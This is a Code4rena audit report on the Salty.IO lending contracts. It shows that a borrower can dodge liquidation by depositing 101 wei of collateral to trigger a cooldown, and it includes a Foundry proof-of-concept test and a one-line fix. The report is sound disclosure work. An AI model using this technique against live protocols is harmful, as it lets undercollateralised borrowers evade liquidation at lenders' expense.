Users can avoid liquidations by abusing the cooldown mechanism

[c4-bot-3]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L153-L154

Vulnerability details

Impact

Users can avoid liquidations by abusing the cooldown mechanism

Vulnerability Details

The problem is that when a liquidation is attempted, it checks for the cooldown as seen here (last parameter true):

// Decrease the user's share of collateral as it has been liquidated and they no longer have it.
_decreaseUserShare(wallet, collateralPoolID, userCollateralAmount, true);

CollateralAndLiquidity.sol#L153-L154

This means that if the user has an active cooldown, it will make the transaction revert:

if ( useCooldown ) {
    require( block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire" );

StakingRewards.sol#L104-L107

A cooldown can be easily triggered by a user, just by depositing some collateral. This is done via _increaseUserShare(), which sets the cooldown.

The minimum amount of collateral is determined while adding liquidity, which can be as low as the DUST amount, which is 100 wei of a token.

So, the user will avoid liquidation during the whole duration of the cooldown. This can be performed repeatedly by the user, after the cooldown expires, at a minimum cost of 100 wei of tokens each time.

A POC is provided to assess the validity of the claimings.

Proof of Concept

1. Add this test to src/stable/tests/CollateralAndLiquidity.t.sol
2. Run COVERAGE="no" NETWORK="sep" forge test -vv --rpc-url https://sepolia.gateway.tenderly.co --mt "testAvoidLiquidation"

function testAvoidLiquidation() public {
    // IMPORTANT NOTE
    // This is an exact copy of the `testLiquidatePosition` test up to the attacked marked below as <<ATTACK>>

    assertEq(collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 0);

    assertEq(wbtc.balanceOf(address(usds)), 0, "USDS contract should start with zero WBTC");
    assertEq(weth.balanceOf(address(usds)), 0, "USDS contract should start with zero WETH");
    assertEq(usds.balanceOf(alice), 0, "Alice should start with zero USDS");

    // Total needs to be worth at least $2500
    uint256 depositedWBTC = (1000 ether * 10 ** 8) / priceAggregator.getPriceBTC();
    uint256 depositedWETH = (1000 ether * 10 ** 18) / priceAggregator.getPriceETH();

    (uint256 reserveWBTC, uint256 reserveWETH) = pools.getPoolReserves(wbtc, weth);
    assertEq(reserveWBTC, 0, "reserveWBTC doesn't start as zero");
    assertEq(reserveWETH, 0, "reserveWETH doesn't start as zero");

    // Alice will deposit collateral and borrow max USDS
    vm.startPrank(alice);
    collateralAndLiquidity.depositCollateralAndIncreaseShare(
        depositedWBTC, depositedWETH, 0, block.timestamp, false
    );

    uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
    assertEq(maxUSDS, 0, "Alice doesn't have enough collateral to borrow USDS");

    // Deposit again
    vm.warp(block.timestamp + 1 hours);
    collateralAndLiquidity.depositCollateralAndIncreaseShare(
        depositedWBTC, depositedWETH, 0, block.timestamp, false
    );

    // Account for both deposits
    depositedWBTC = depositedWBTC * 2;
    depositedWETH = depositedWETH * 2;
    vm.stopPrank();

    // Deposit extra so alice can withdraw all liquidity without having to worry about the DUST reserve limit
    vm.prank(DEPLOYER);
    collateralAndLiquidity.depositCollateralAndIncreaseShare(1 * 10 ** 8, 1 ether, 0, block.timestamp, false);

    vm.warp(block.timestamp + 1 hours);

    vm.startPrank(alice);
    maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);

    vm.startPrank(alice);
    vm.warp(block.timestamp + 1 hours);

    maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
    collateralAndLiquidity.borrowUSDS(maxUSDS);
    vm.stopPrank();

    assertEq(collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 1);

    uint256 maxWithdrawable = collateralAndLiquidity.maxWithdrawableCollateral(alice);
    assertEq(maxWithdrawable, 0, "Alice shouldn't be able to withdraw any collateral");

    {
        uint256 aliceCollateralValue = collateralAndLiquidity.userCollateralValueInUSD(alice);

        uint256 aliceBorrowedUSDS = usds.balanceOf(alice);
        assertEq(
            collateralAndLiquidity.usdsBorrowedByUsers(alice),
            aliceBorrowedUSDS,
            "Alice amount USDS borrowed not what she has"
        );

        // Borrowed USDS should be about 50% of the aliceCollateralValue
        assertTrue(aliceBorrowedUSDS > (aliceCollateralValue * 499 / 1000), "Alice did not borrow sufficient USDS");
        assertTrue(aliceBorrowedUSDS < (aliceCollateralValue * 501 / 1000), "Alice did not borrow sufficient USDS");
    }

    // Try and fail to liquidate alice
    vm.expectRevert("User cannot be liquidated");
    vm.prank(bob);
    collateralAndLiquidity.liquidateUser(alice);

    // Artificially crash the collateral price
    _crashCollateralPrice();

    // Delay before the liquidation
    vm.warp(block.timestamp + 1 days);


    // <<ATTACK>>

    // Provide Alice with some tokens
    uint256 dust = PoolUtils.DUST + 1;
    assertEq(dust, 101);
    deal(address(wbtc), alice, dust);
    deal(address(weth), alice, dust);

    // Alice knows her position can be liquidated
    assertTrue(collateralAndLiquidity.canUserBeLiquidated(alice));

    // Alice performs the attack. She deposits a minimum amount of tokens
    // This way she prevents being liquidated for the whole duration of the cooldown
    vm.prank(alice);
    collateralAndLiquidity.depositCollateralAndIncreaseShare(
        dust, dust, 0, block.timestamp, false
    );

    // Alice's position is still liquidatable
    assertTrue(collateralAndLiquidity.canUserBeLiquidated(alice));

    // Alice's position can't be liquidated due to the cooldown
    vm.prank(bob);
    vm.expectRevert("Must wait for the cooldown to expire");
    collateralAndLiquidity.liquidateUser(alice);
}

Recommended Mitigation Steps

Do not use cooldown when liquidating users:

    // Decrease the user's share of collateral as it has been liquidated and they no longer have it.
-   _decreaseUserShare(wallet, collateralPoolID, userCollateralAmount, true);
+   _decreaseUserShare(wallet, collateralPoolID, userCollateralAmount, false);

Assessed type

Other

[c4-judge]

Picodes marked the issue as duplicate of #891

[c4-judge]

Picodes marked the issue as satisfactory